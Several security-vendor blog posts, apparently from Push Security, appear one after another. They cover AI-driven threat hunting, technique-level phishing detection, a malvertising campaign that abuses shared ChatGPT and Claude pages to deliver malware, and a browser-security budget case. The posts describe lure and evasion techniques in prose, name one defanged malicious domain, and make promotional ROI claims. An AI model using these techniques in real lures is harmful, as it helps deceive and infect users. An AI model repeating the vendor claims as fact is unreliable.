As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.

That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. 

This knowledge base also reflects a deliberate architectural choice.

As our CPO Jacques Louw put it on Risky Business: "There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain."

Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.

We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. 

Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.

Component 3: The thoughtfully organized agents

The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called context rot. That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.

Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. 

But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.

Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.

The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” 

What matters is what goes into the model — the telemetry, the domain knowledge, the structured context — and what happens around it: the orchestration, quality control, and feedback loops. That's where production reliability comes from, and it's where you’ll find the need for significant engineering effort.

Component 4: The response engine

Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.

Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.

Without a browser-layer enforcement tool, any knowledge of emerging attack methods can only be addressed by revoking sessions, resetting passwords, adding (short-lived) domains to a blocklist, wiping compromised machines, and other after-the-fact response actions that keep security teams on the back foot against these kinds of incidents. 

Learn more about Push and how we develop new detections

For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push.

If you'd like to see how our agentic detection capabilities apply to your environment, book a demo.

AI hasn't introduced a new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.

These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility).

The bottom of the Pyramid was already crumbling

The case against indicator-based detection didn't need AI to be compelling. 89% of phishing domains are active for fewer than two days, with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.

We've written before about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.

When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this:

Now, it looks more like this:

Let’s explore why.

AI is accelerating phishing rotation and delivery

Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.

Attackers can vibe-code entire phishing pages in minutes — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend.

We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using LLM tool sharing functionality, resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like Railway, Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. 

The kit ecosystem is fragmenting faster than anyone can track

What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.

As we reported in our Browser Attacks Report, the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.

Code is forked, modified, and redeployed across kits in a pattern that resembles open-source development more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The Venom kit reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.

Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to normal levels of operation shortly after. It has also been observed pivoting to add new device code phishing capabilities (more on that below). 

Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.

New techniques are being industrialized faster than ever

As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. 

Device code phishing is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. 

Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.

Similarly, when we infiltrated Doko's Panel — a real-time vishing and AiTM platform used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a mainstay of the Com affiliates like ShinyHunters this year.

The broader ClickFix family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and CrowdStrike's data shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while Microsoft reported it as making up 47% of observed attacks according to their Digital Defense Report.

And ConsentFix — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers discovered the technique in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a criminal ConsentFix v3 toolkit had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.

Six weeks is all it took for ConsentFix to go from nation-state technique to commoditized criminal toolkit — a compression that took device code phishing and ClickFix roughly a year.

Why technique-level detection is the only layer that holds

The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.

When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.

But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.

If you build detections around a specific kit's JavaScript patterns, then you're in an arms race with the kit's developer. Build detections around the behavioral mechanics of the technique itself — how the page interacts with the authorization endpoint, the sequence of user actions it orchestrates, the redirect patterns — and you’re tracking something that changes at a much slower rate.

Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.

Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. 

As our CPO Jacques Louw put it on Risky Business: "There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain."

What it takes to detect at the top of the Pyramid

If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.

You need the right vantage point

Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.

Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.

As we disclosed in our browser attacks report, 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. 

Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.

Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.

You need the research expertise

When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.

This is where our agentic threat hunting pipeline fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.

The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.

When we detected the first in-the-wild InstallFix attack through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.

Technique-level detection is now the only option

As a framework for detection durability, the Pyramid of Pain is more relevant than ever. 

AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. 

Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.

Several variants of this technique have been reported over the past few months. The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake "Apple Support" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. Kaspersky documented a parallel campaign using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. 

Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. 

These are essentially InstallFix attacks — a variant of the ClickFix family that Push documented earlier this year — and they exploit the fact that AI tools have normalized command-line installation workflows for a population of users who lack the experience to distinguish a legitimate terminal command from a malicious one.

This is a live campaign which is still generating detections across our customer base at the time of writing. Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. 

A fake page, not a fake conversation

Previously reported variants relied on shared conversations — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the "AI assistant" appeared to be helpfully guiding the user through an installation process.

But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:

A professional-looking error message reads: "We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue." A prominent download button sits below.

The "Show code" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.

The download page

Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.

The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR/VR company website with no obvious connection to ChatGPT. 

Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.

The downloaded executable poses as "ChatGPT for Desktop" and is flagged on VirusTotal.

The Claude variant: same campaign, different platform

Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by BleepingComputer: a shared chat disguised as a "Claude Code on Mac" installation guide, attributed to "Apple Support," containing a curl command that downloads and executes malware.

The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.

Malvertising remains one of the top phishing delivery channels

Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including "chatgpt," "chatgpt free," "chat gpt," and common typos like "chatgo," "chatgot," and "cvhatgpt." 

You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it.

Although we managed to grab that example, the ads haven't been easy to reproduce. This is because the ads are likely geographically or temporally scoped. It’s pretty eye-opening (and creepy) how tightly scoped these kinds of sponsored ads can be across different platforms.

This is one of the key misconceptions people can have about this kind of attack. It’s easy to see it as untargeted, when realistically it can be scoped tightly to a desired victim population by role, geography, and so on. We’ve written about this previously in our blog on the ad account takeover > malvertising ecosystem.

This fits a pattern Push has tracked extensively. Search-based delivery is now the dominant channel for malware distribution — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into malvertising campaigns impersonating brands like TradingView and Ahrefs has demonstrated how effectively search ads can funnel victims to malicious pages. 

The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.

Legitimate platform abuse is everywhere

This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.

Legit platform abuse for delivery

On the delivery side, attackers have been weaponizing stolen AWS credentials to send phishing through Amazon SES that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed AccountDumpling used Google AppSheet's built-in email capability as a phishing relay to harvest 30,000 Facebook credentials. Scammers exploited Microsoft's own internal notification pipeline — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.

Legit platform abuse for hosting

For hosting, the platforms being abused read like a who's who of modern web infrastructure. Operation HookedWing ran for four years on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately documented the growing abuse of Vercel for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. 

Abuse of compromised websites that are otherwise legit

Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a Ghost CMS vulnerability planted ClickFix pages across 700+ websites including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where SEO poisoning was combined with AI chatbot recommendation manipulation to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And fake ChatGPT and Claude installers on GitHub and SourceForge have been delivering the DinDoor backdoor and a Deno-based RAT via repositories that mimic legitimate developer tool distributions.

The structural problem is that every one of these platforms is genuinely legitimate, and the security controls that evaluate them — domain reputation, email authentication, URL categorization — confirm them as trusted because they are trusted. This attack extends this pattern into new territory by weaponizing the content-sharing features of AI chatbot platforms specifically, but the underlying principles are the same. 

Impact analysis

Shared-chat malware delivery exploits a structural property of AI platforms that traditional security controls aren't designed to handle. Domain reputation, URL categorization, and safe browsing databases all treat chatgpt.com and claude.ai as trusted — because they are. Using these trusted pages to link off to further convincing-looking pages hosting malware allows the attacker to run campaigns that blend in, as well as rotate the phishing delivery pages later in the chain should they ever be flagged, allowing the campaign to continue without interruption (a well known detection evasion technique).

What makes the rendered-page variant particularly concerning is that it eliminates the most obvious red flag in the earlier attacks. The Claude.ai conversation variants required the victim to recognize that a shared chat instructing them to paste terminal commands might be suspicious — a tall order for many users, but at least the attack surface was visible. The rendered-page variant shows nothing that looks like an attack. It presents what appears to be a routine service disruption with a reasonable call to action: download the desktop app to continue using ChatGPT.

How Push detected the attack

We've aligned our detection logic for this technique under the name LLMShare — a technique-level detection that covers shared content abuse across LLM platforms, not tied to any single campaign or set of IOCs. 

Because Push sees the full context of how a user arrived at a page and what that page does once it renders, we can identify LLMShare attacks regardless of which AI platform is being abused or what social engineering wrapper the attacker has chosen.

When we identified the initial instances of this campaign, we used our agentic threat hunting pipeline to hunt for additional examples across our customer telemetry, develop the LLMShare detection, and rapidly deploy it to customers. Push blocks users from interacting with the page before any malicious activity can occur.

Push customers do not need to take any further action.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Indicators of compromise

As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to quickly spin up and rotate the sites used in the attack chain. IoC-based detections for campaigns like this are of limited value.

At the time of writing, the indicators observed were:

But finding budget for browser security solutions can be harder than it is for other security tools. Both Gartner and Omdia independently confirm that browser security is predominantly additive; Gartner states explicitly that secure enterprise browsers augment rather than replace existing security controls, and Omdia found that 80% of organizations expect to deploy browser security alongside their current stack.

In practice, that means there's typically no legacy line item to redirect or renewal to swap out. Instead, security leaders are left needing to build a business case from scratch, creating more work on top of an already demanding role. Having a proven framework that other security leaders are already using successfully makes that process significantly faster.

Push helps security leaders build these business cases every day and we've seen firsthand what works and where the budget comes from. 

This article distills those patterns into a practical framework you can use to build your own investment case, as well as provides real-world examples of how Push's customers have found budget to make their own investments in browser security tooling:

The strategic imperatives that resonate with non-security executives

Two distinct strategic initiatives consistently prove to be effective in unlocking browser security budget. They come from different directions; one is driven by the board down to security, the other is driven by security up to the board. But both lead to the same investment and can be used in conjunction with one another.

Option A | AI visibility and control: the mandate security teams are responding to

AI adoption isn't a security initiative; it's a business strategy decision that executives and boards are driving. They know the organization needs to harness AI to remain competitive, and most have already committed to accelerating its use. But they also know that adoption without visibility creates risks they can't quantify or manage, and they expect security to have the visibility and controls to close that gap.

The browser is the most practical place for security teams to get that visibility and control over AI usage. All AI tool usage — whether that's web apps, extensions, OAuth consent flows, data uploads — traverses the browser. A browser security platform like Push can discover which AI tools employees are actually using, monitor how they're being used, track which AI services have been granted access to corporate systems, and enforce policy in real time.

What makes this particularly effective in a budget conversation is that security teams don’t need to explain or sell a new security risk or initiative, instead they're responding to one their executive team has already identified. When security can demonstrate a concrete plan to deliver AI visibility and control, the funding conversation is significantly shorter. The investment addresses the executive mandate while simultaneously providing additional capabilities for the security team like threat protection, identity and shadow IT security, and investigation support.

Option B | Modern breaches that originate in the browser: the gap the existing stack wasn't designed to cover

The second strategic imperative requires more educating on the part of the security leader.

The highest-profile breaches in recent years — MGM, Caesars, Ticketmaster, M&S, Jaguar Land Rover — were all carried out by threat groups like Scattered Spider using cloud-native, identity-based attack techniques. They didn't compromise endpoints or exploit zero-day vulnerabilities. Instead, they compromised employees' cloud app accounts by targeting them with techniques that play out inside browser sessions where existing endpoint, network, and email controls have no visibility.

That doesn't mean your existing security investments are failing. Endpoint, network, and email controls have become effective enough that threat groups are now actively avoiding them by rerouting their attacks via the browser.

• CrowdStrike's 2026 data shows 82% of attack detections are now malware-free. A new capability is needed to address this new playbook, and browser security closes that gap by detecting attacker behavior inside the session, where these attacks actually execute.

• Unit 42 found that identity weaknesses played a material role in almost 90% of their investigations, and across more than 750 incident response engagements, 48% involved browser-based activity.

• Mandiant's data tells a similar story: threat actors exploited identity issues to gain initial access in 83% of incidents involving cloud and SaaS environments.

Identity-based attacks executed via the browser are now the dominant attack pattern. That framing works in a budget conversation because it identifies a gap rather than asking to improve something that's already covered by an existing solution. It's also reinforced by the fact that the breaches and groups behind them like Scattered Spider were all reported on by the mainstream media, meaning non-security stakeholders are likely to already be somewhat aware of the risks and potential implications of them being realized.

The economic case: five value drivers

Those strategic imperatives establish why something needs to be done, but they don't quantify the cost of inaction or demonstrate how the investment pays for itself. A CFO wants to see where the money comes from, what existing spend it offsets, and what measurable return it delivers. The economic investment case draws on five distinct value drivers, each grounded in capabilities specific to operating inside the browser session.

To illustrate the potential economic impact, each value driver below includes an estimate for a hypothetical 1,000-employee US technology company called ACME. The assumptions used are conservative and the benchmarks are publicly available. And while your own numbers will differ, the methodology used is transferable. 

Using these estimates, ACME can conservatively expect a return of $435K–$925K in combined annual value from direct labor savings, risk-adjusted cost avoidance, and accelerated productivity gains.

1. Avoided breach costs

This is the largest single value driver, but it's also the hardest to measure because the return is defined by the absence of an event rather than the presence of a saving. That said, the methodology is well-established in risk management, and CFOs already accept this logic for insurance and business continuity investments.

The detection gap described above has a direct financial consequence: every attack that slips through undetected is a potential breach incurring significant direct and indirect costs. Push helps you avoid these costs by detecting browser-native attack TTPs and blocking them in real-time to prevent breaches at the earliest opportunity.

Even though the breach itself is unrealized, there are tangible leading indicators of success: reduced MTTD/MTTR, and fewer attacks progressing to account takeover or endpoint compromise; the stages at which incidents become more expensive to clean up.

Quantifying the savings generated by avoiding breaches requires an estimation of your organization's breach probability and likely cost. IBM's cost of a data breach report provides industry-specific benchmarks, though a more grounded alternative is to look at the disclosed costs of the breaches mentioned above and assess your exposure to the same techniques:

• MGM reported over $100M in direct impact plus a $45M class-action settlement.

• M&S lost £300M in profits with almost £1B wiped off its market valuation.

• The JLR breach was severe enough for the UK government to underwrite a $1.5B loan to mitigate supply chain damage.

Your own incident data, red team results, or phishing simulation outcomes will increase accuracy further.

ACME example: IBM's data puts the average breach cost for a technology company at approximately $4.9M. Assuming a conservative 5–8% annual breach probability, and given that 80% of breaches are now identity-based and execute via the browser, the question is how much of that exposure Push eliminates. Push detects and blocks browser-native, identity-based attacks in real time. Even using a conservative 80% effectiveness estimate the expected annual value is $150K–$250K.

2. Accelerated and safe AI adoption

Without effective AI visibility and control tooling, your security team becomes either the bottleneck for AI adoption or allows the risks to go unchecked. Every month that adoption is restricted or ungoverned has a productivity cost that compounds.

There's been plenty of research into the productivity impact of AI:

• Stanford and MIT research found that workers with access to a generative AI assistant were 14% more productive on average, with novice workers seeing a 34% improvement.

• Accenture's research estimates approximately $7,800 per employee per year in productivity value from generative AI for knowledge workers.

• The Federal Reserve independently quantified it at 5.4% of work hours saved, roughly one full working day reclaimed per month.

• McKinsey's 2025 data shows organizations leading on AI adoption report 5.8x average ROI within 14 months, and they outperform laggards in both profitability and revenue growth.

A browser security platform like Push removes the governance blocker. When you can see which AI tools employees are using, what data they're sharing, and what permissions they've granted, and enforce policy in real time, the answer to "can our people use this?" shifts from "not yet, we need to assess the risk" to "yes, with our sensible guardrails."

Push delivers this by discovering every AI web app, browser, browser extension, and OAuth integration in use. It monitors data sharing through file uploads and clipboard activity, tracks OAuth consent flows where AI services request access to corporate tenants, and enforces policy at the point of action. This allows your team to very quickly get a handle on AI usage, mitigate risks and guide the business on how to best drive safe adoption.

ACME example: for a 1,000-employee technology company where 60% of the workforce are knowledge workers, accelerating safe AI adoption by three to six months for 25–40% of those workers captures $150K–$400K in productivity value.

3. Greater return from existing security investments

Push generates direct labor savings in two ways that other tools can't replicate.

First, identity hygiene remediation at scale. Push's customer data shows that for every 1,000 employees, an organization will typically have just over 2,500 identity security vulnerabilities (missing MFA or weak, breached, reused passwords, etc).

Without Push, you could conservatively estimate that each vulnerability takes 5–10 minutes to resolve manually (inclusive of project management and reporting time) which translates to between 26 and 52 FTE days per thousand employees. Push automates this through in-browser guardrails that prompt users to fix issues at the point of login. That's thousands of identity vulnerabilities resolved without a single ticket being filed, and weeks of analyst time recovered annually at fully burdened rates.

Second, investigation efficiency. Push detects attacks at the earliest and safest opportunity, as the attacker is attempting to gain initial access via the browser. The telemetry Push provides analysts with accelerates their investigations across both external and insider threats.

Here’s one example of that in action: Push eliminates over 99% of compromised credential false positives in common TI feeds by only surfacing credentials actively being used and observed in the browser. Much like the first direct labour saving, Push saves your team weeks of effort confirming false positives and investigating complex account compromise incidents. It also reduces the likelihood of an incident progressing to the stage where a (costly) external incident response provider is needed. 

By automatically remediating identity security issues at scale, and accelerating investigations, Push eliminates much of the work that analysts typically find tedious and frustrating: manually chasing password resets, triaging false positives, trawling through web proxy logs. Removing that work means they can spend more time on the interesting, high-value aspects of their roles, which directly improves morale and retention.

In a market where replacing a fully ramped security analyst costs 80–150% of their annual salary and the new hire takes months to reach the same productivity, reduced attrition generates its own measurable saving in avoided recruitment, training, and lost productivity during the ramp-up period.

In addition to direct labor savings, Push improves the return on every other security investment in your stack. Browser-layer telemetry feeds into SIEM and SOAR platforms, enriching correlation rules and enabling custom detections that weren't previously possible, a multiplier on the value you're already getting from your existing security investments.

ACME example: Automated identity remediation across approximately 2,500 vulnerabilities recovers $25K–$35K in analyst time annually. Investigation efficiency gains from earlier detection and the elimination of compromised credential false positives save a further $45K–$65K. Reduced analyst attrition, driven by the removal of tedious manual work, avoids $15K–$25K in recruitment and ramp-up costs. Combined, this value driver represents $85K–$125K annually.

4. Reduced compliance and audit exposure

Every major security compliance framework — SOC 2, ISO 27001, HIPAA, PCI DSS, NIST, GDPR — requires MFA on accounts, strong and unique passwords, and visibility into which third-party applications are being entrusted with corporate data. These are foundational requirements and they apply across every application employees use, not just the ones IT has provisioned. Self-adopted Shadow IT and unmanaged identities create compliance gaps against these requirements that most organizations don't know they have until an auditor finds them.

The consequences of gaps in these controls are increasingly financial. The City of Hamilton had its $18.3M cyber insurance claim denied after a ransomware attack because MFA wasn't fully implemented. The insurer ruled that incomplete MFA coverage voided the policy. NYDFS has levied $14 million in fines from companies with inadequate MFA. These aren't hypothetical risks, and they apply to requirements that Push can help you meet continuously rather than scrambling to find evidence during an audit or after an incident.

Push addresses these compliance requirements directly. It discovers every application employees actually use — directly from the login event in the browser, not from network traffic patterns. It also observes the authentication method, password strength, and MFA status for each account. The inventory provided by Push replaces weeks of manual spreadsheet work during audit preparation and gives your GRC team continuous evidence rather than a point-in-time snapshot assembled under pressure.

ACME example: Push's automated inventory and continuous compliance evidence replaces approximately 1,000 hours of annual audit preparation effort, generating $8K–$25K in direct savings. The larger value is in risk avoidance: assuming a conservative 3–5% annual probability of a compliance-related financial event (e.g. a denied insurance claim or a regulatory fine) and an average impact of $5–8M, even a 30% reduction in that exposure represents $45K–$120K in expected annual value. Combined: $50K–$150K.

5. Consolidated capability and reallocated spend

Push delivers against a wide range of use cases — threat detection, AI governance, identity security, investigation support — that would otherwise require separate point solutions to address. That breadth of coverage from a single platform and deployment creates natural opportunities to consolidate spend.

AI governance is the most immediate example. Nearly every enterprise is evaluating standalone AI monitoring tools right now, and the price tags are significant. If your browser security platform already delivers the AI visibility and control capabilities like Push's described above — app discovery, data sharing monitoring, OAuth consent tracking, real-time policy enforcement — the case for a separate AI governance purchase weakens considerably. Paying separately for a tool that only does AI governance, when your browser security platform delivers it alongside detection, identity security, and investigation capability, is a hard spend to justify.

There's also a broader resource reallocation opportunity. Platforms like Push represent a new generation of security tooling that addresses the challenges posed by modern work and cyber attacks. The ROI they provide is high now and is likely to increase as the platform evolves alongside the threats and risks it addresses. Meanwhile, much of the legacy stack is moving in the opposite direction.

• Network-centric tools like SWGs and CASBs are becoming increasingly legacy as more activity moves off the traditional network and into the browser.

